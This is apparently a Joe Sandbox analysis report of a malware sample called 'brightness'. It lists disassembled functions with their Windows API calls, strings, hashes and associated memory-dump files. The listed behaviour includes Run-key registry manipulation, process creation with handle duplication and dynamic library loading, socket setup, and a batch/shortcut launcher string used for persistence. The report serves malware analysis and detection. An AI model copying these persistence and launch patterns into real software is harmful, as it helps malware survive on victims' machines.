Opcode Fuzzy Hash: 9616ce662cd67d5e7a25f75f22f646e532e03bafe99c2c4478e0c7084aee4a7f
Instruction Fuzzy Hash: 28E15C71E1111DDBDF18CF9DD8919EEBBB2BF88308F14C259D422B7205D634AA52CB98

Function 04F6095A Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58118130294e7d915d9756cfc7067214608f7ba84f726d34fe19bc2c539f7f43
Instruction ID: c2f7184288624a0a3c17072bb1b08d3dc162ff1679b5fe8556056cec459cfaa1
Opcode Fuzzy Hash: 58118130294e7d915d9756cfc7067214608f7ba84f726d34fe19bc2c539f7f43
Instruction Fuzzy Hash: 24D0127F10D150AFB259CA61AA65DF7777CD6C367033184ABF443C1055D2584A5E8531

Function 002D58B0 Relevance: 86.2, APIs: 38, Strings: 11, Instructions: 487registrylibraryloaderCOMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 002D5A98
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 002D5AB4
wnsprintfW.SHLWAPI ref: 002D5AE4
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 002D5B00
wnsprintfW.SHLWAPI ref: 002D5B30
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 002D5B4C
wnsprintfW.SHLWAPI ref: 002D5B7C
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 002D5B98

Part of subcall function 002D2680: RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D269B
Part of subcall function 002D2680: RegDeleteValueW.ADVAPI32(?,00336FC8,?,?,002C1109), ref: 002D26AE
Part of subcall function 002D2680: RegCloseKey.ADVAPI32(?,?,?,002C1109), ref: 002D26B8
Part of subcall function 002D2680: RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D26D5
Part of subcall function 002D2680: RegDeleteValueW.ADVAPI32(?,00337016,?,?,002C1109), ref: 002D26E8
Part of subcall function 002D2680: RegCloseKey.ADVAPI32(?,?,?,002C1109), ref: 002D26F2

Part of subcall function 002D3160: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,002D5BA8), ref: 002D317A
Part of subcall function 002D3160: SHGetKnownFolderPath.SHELL32(002F7BF0,00000000,00000000,?), ref: 002D3196
Part of subcall function 002D3160: __snwprintf.LIBCMT ref: 002D31B7
Part of subcall function 002D3160: CoTaskMemFree.COMBASE(?), ref: 002D31CD
Part of subcall function 002D3160: LocalFree.KERNEL32(00000000), ref: 002D31D7
Part of subcall function 002D3160: SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002D31EA
Part of subcall function 002D3160: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D31FF
Part of subcall function 002D3160: __snwprintf.LIBCMT ref: 002D3229
Part of subcall function 002D3160: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D3238
Part of subcall function 002D3160: __snwprintf.LIBCMT ref: 002D3263
Part of subcall function 002D3160: LocalFree.KERNEL32(00000000), ref: 002D3283
Part of subcall function 002D3160: LocalFree.KERNEL32(00000000), ref: 002D328D
Part of subcall function 002D3160: CoTaskMemFree.COMBASE(?), ref: 002D3297

Part of subcall function 002D2F20: OpenEventW.KERNEL32(00100002,00000000,{89E23A13-ADB8-48F9-89AD-99D84326EACC}), ref: 002D2F3F
Part of subcall function 002D2F20: SetEvent.KERNEL32(00000000), ref: 002D2F5B
Part of subcall function 002D2F20: CloseHandle.KERNEL32(00000000), ref: 002D2F68
Part of subcall function 002D2F20: OpenMutexW.KERNEL32(00100000,00000000,{03BAFAB9-0901-490D-BDFD-DD24348C9754}), ref: 002D2F84
Part of subcall function 002D2F20: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002D2FA2
Part of subcall function 002D2F20: CloseHandle.KERNEL32(00000000), ref: 002D2FAF
Part of subcall function 002D2F20: SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002D2FC5
Part of subcall function 002D2F20: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D2FDA
Part of subcall function 002D2F20: __snwprintf.LIBCMT ref: 002D301F
Part of subcall function 002D2F20: _memset.LIBCMT ref: 002D306A
Part of subcall function 002D2F20: GetFileAttributesW.KERNEL32(00000000), ref: 002D30A5
Part of subcall function 002D2F20: LocalFree.KERNEL32(00000000), ref: 002D30F1
Part of subcall function 002D2F20: CoTaskMemFree.COMBASE(?), ref: 002D30FE

Part of subcall function 002D2E00: SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,002D5BB2,?,?,?,?,?,?,?,?,?,?,?,002D5BB2), ref: 002D2E13
Part of subcall function 002D2E00: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,002D5BB2), ref: 002D2E28
Part of subcall function 002D2E00: __snwprintf.LIBCMT ref: 002D2E61
Part of subcall function 002D2E00: _memset.LIBCMT ref: 002D2E97
Part of subcall function 002D2E00: GetFileAttributesW.KERNEL32(00000000), ref: 002D2EC0
Part of subcall function 002D2E00: LocalFree.KERNEL32(00000000), ref: 002D2EFD
Part of subcall function 002D2E00: CoTaskMemFree.COMBASE(002D5BB2), ref: 002D2F07

Part of subcall function 002D2AB0: CoInitializeEx.COMBASE(00000000,00000000), ref: 002D2AE0
Part of subcall function 002D2AB0: CoUninitialize.COMBASE ref: 002D2DDD

Part of subcall function 002D0010: SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,002D6B10,00331178,002D6B10), ref: 002D0023
Part of subcall function 002D0010: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D0034
Part of subcall function 002D0010: wnsprintfW.SHLWAPI ref: 002D005F
Part of subcall function 002D0010: CoTaskMemFree.COMBASE(?), ref: 002D007F

_memset.LIBCMT ref: 002D5C2A
GetFileAttributesW.KERNEL32(?), ref: 002D5C65
SHFileOperationW.SHELL32(?), ref: 002D5C82
LocalFree.KERNEL32(?), ref: 002D5CB1
_memset.LIBCMT ref: 002D5D09
__snwprintf.LIBCMT ref: 002D5D2E
_memset.LIBCMT ref: 002D5D4D
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 002D5D61
_memset.LIBCMT ref: 002D5D86
__snwprintf.LIBCMT ref: 002D5DB1
__snwprintf.LIBCMT ref: 002D5DD5
_memset.LIBCMT ref: 002D5DF2
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000044,?), ref: 002D5E36
GetCurrentProcess.KERNEL32 ref: 002D5E45
DuplicateHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000002), ref: 002D5E7D
GetCurrentProcess.KERNEL32 ref: 002D5E8C
DuplicateHandle.KERNEL32(?,000002DC,?,00000000,00000000,00000001,00000002), ref: 002D5EC4
LoadLibraryW.KERNEL32(?), ref: 002D5EDA
_memset.LIBCMT ref: 002D5EFE
GetProcAddress.KERNEL32(?,?), ref: 002D5F14
GetProcAddress.KERNEL32(?,?), ref: 002D5F2E
LocalFree.KERNEL32(?), ref: 002D6079
CloseHandle.KERNEL32(?), ref: 002D609A
CloseHandle.KERNEL32(?), ref: 002D60A7
TerminateProcess.KERNEL32(?,00000000), ref: 002D60BF
LocalFree.KERNEL32(?), ref: 002D60CC
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002D60DE
SetEvent.KERNEL32(00000000), ref: 002D60FA
CloseHandle.KERNEL32(00000000), ref: 002D6107

Strings

D, xrefs: 002D5DFA
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002D60D2
Software\%s, xrefs: 002D5AD3
Software\%s, xrefs: 002D5B1F
{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}, xrefs: 002D5ACE
SOFTWARE\%s, xrefs: 002D5B6B
Software\%s, xrefs: 002D5A87
%s%s, xrefs: 002D5D1D
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 002D5B66
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002D5A82
{D4C13668-5BB2-45CB-BED4-3819586C0538}, xrefs: 002D5B1A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$__snwprintf_memset$CloseHandle$AllocDelete$FolderKnownOpenPathTaskwnsprintf$EventFileProcess$Attributes$AddressCurrentDuplicateProcValue$CreateDirectoryInitializeLibraryLoadMutexObjectOperationSingleTerminateUninitializeWaitWindows
String ID: %s%s$D$SOFTWARE\%s$Software\%s$Software\%s$Software\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}${D4C13668-5BB2-45CB-BED4-3819586C0538}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 2433134821-546254904
Opcode ID: fc99aee3c8dae867a76bc73ffe9fbcb0e4c210cbef337f15befddd2297efc3ce
Instruction ID: bcf8057dcaf8bf5af5e12be19738c4a2c6f2014a7c52f5f09254effc9be5a4e8
Opcode Fuzzy Hash: fc99aee3c8dae867a76bc73ffe9fbcb0e4c210cbef337f15befddd2297efc3ce
Instruction Fuzzy Hash: 40225DB1D10228ABDB25DF50DC89FEAB778BB49700F0045DAF209A6281DBB15F98CF51

Function 002C4C30 Relevance: 59.8, APIs: 28, Strings: 6, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C4C50
_memset.LIBCMT ref: 002C4C6F
_memset.LIBCMT ref: 002C4C8E
SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002C4CAF
__snwprintf.LIBCMT ref: 002C4CD8
CoTaskMemFree.COMBASE(?), ref: 002C4CE7
_memset.LIBCMT ref: 002C4D06
GetTempPathW.KERNEL32(00000104,?), ref: 002C4D1A
__snwprintf.LIBCMT ref: 002C4D3C
__snwprintf.LIBCMT ref: 002C4D7C
CreateDirectoryW.KERNEL32(?,00000000), ref: 002C4D8D
GetLastError.KERNEL32 ref: 002C4D99
lstrcpyW.KERNEL32(?,?), ref: 002C4DCF
__snwprintf.LIBCMT ref: 002C4DF6
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 002C4E17
GetLastError.KERNEL32 ref: 002C4E2C

Strings

%s\%s, xrefs: 002C4DE5
"%s" "%s", xrefs: 002C4EE3
"%s", xrefs: 002C4FAF
%s\%s, xrefs: 002C4D6B
D, xrefs: 002C4F19
Open, xrefs: 002C4FDF

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset$CreateErrorLastPath$DirectoryFileFolderFreeKnownTaskTemplstrcpy
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$D$Open
API String ID: 37154465-2887319354
Opcode ID: a1a182cd9d4dd356319aae4e6f6bf1ef79208d516115afc3b7427dcf091554b9
Instruction ID: 0e9f9dfd10b45f116948893ed49c261215a0e682826d7868ca930c33f6148072
Opcode Fuzzy Hash: a1a182cd9d4dd356319aae4e6f6bf1ef79208d516115afc3b7427dcf091554b9
Instruction Fuzzy Hash: 83A1BD71A60318ABD724DF60CC89FEA7779BB48704F4046D8F609A7181EBB19B94CF91

Function 002D22D0 Relevance: 59.7, APIs: 26, Strings: 8, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,002D6AFB), ref: 002D22DD
SHGetKnownFolderPath.SHELL32(002F7BF0,00000000,00000000,?), ref: 002D22FD
__snwprintf.LIBCMT ref: 002D2322

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

LocalAlloc.KERNEL32(00000040,00000BB8), ref: 002D234F
__snprintf.LIBCMT ref: 002D237E
SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002D2396
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D23AB
__snwprintf.LIBCMT ref: 002D23D5
GetLastError.KERNEL32 ref: 002D23F2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D240A
__snwprintf.LIBCMT ref: 002D2439
CloseHandle.KERNEL32(000000FF), ref: 002D2499
LocalFree.KERNEL32(00000000), ref: 002D24C3
CoTaskMemFree.COMBASE(?), ref: 002D24CD
CoTaskMemFree.COMBASE(?), ref: 002D24D7
LocalFree.KERNEL32(00000000), ref: 002D24E1
LocalFree.KERNEL32(00000000), ref: 002D24EB
LocalFree.KERNEL32(00000000), ref: 002D24F5
CloseHandle.KERNEL32(000000FF), ref: 002D250C
LocalFree.KERNEL32(00000000), ref: 002D2516
LocalFree.KERNEL32(00000000), ref: 002D2520
CoTaskMemFree.COMBASE(?), ref: 002D252A
LocalFree.KERNEL32(00000000), ref: 002D2534
LocalFree.KERNEL32(00000000), ref: 002D253E
CoTaskMemFree.COMBASE(?), ref: 002D2548
LocalFree.KERNEL32(00000000), ref: 002D2552

Strings

{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}, xrefs: 002D23BE, 002D2422
%s\%s, xrefs: 002D23C7
{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}, xrefs: 002D230B
{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}, xrefs: 002D241D
%s\%s.lnk, xrefs: 002D2314
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 002D2362
@echo offcmd /c start "" "%S%S" %S, xrefs: 002D2370
%s\%s\%s.bat, xrefs: 002D242B

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask$__snwprintf$FolderKnownPath$CloseHandle$ErrorLast__snprintf
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.bat$@echo offcmd /c start "" "%S%S" %S${01CD18C6-8DB4-4D19-901B-142FFEF41E7A}${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}${A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}${CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}
API String ID: 1748825352-40961267
Opcode ID: b6c87e8a85bc150e1833fbfd520231706f6fd21a8ec50fa56034abb2c923e3cc
Instruction ID: 60e521cf4fbf60969117eb3beab2e91f6f4cce30b54e9651980c02fc97211955
Opcode Fuzzy Hash: b6c87e8a85bc150e1833fbfd520231706f6fd21a8ec50fa56034abb2c923e3cc
Instruction Fuzzy Hash: 9C716CB5E50209EBDB15DBA4DC8AFEEBB79AF48710F104629F601B72D0DB749940CB60

Function 002DFFF0 Relevance: 57.4, APIs: 38, Instructions: 364networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 002DFFFF
WSACreateEvent.WS2_32 ref: 002E0015
shutdown.WS2_32(000000FF,00000002), ref: 002E04D0
closesocket.WS2_32(000000FF), ref: 002E04DA

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
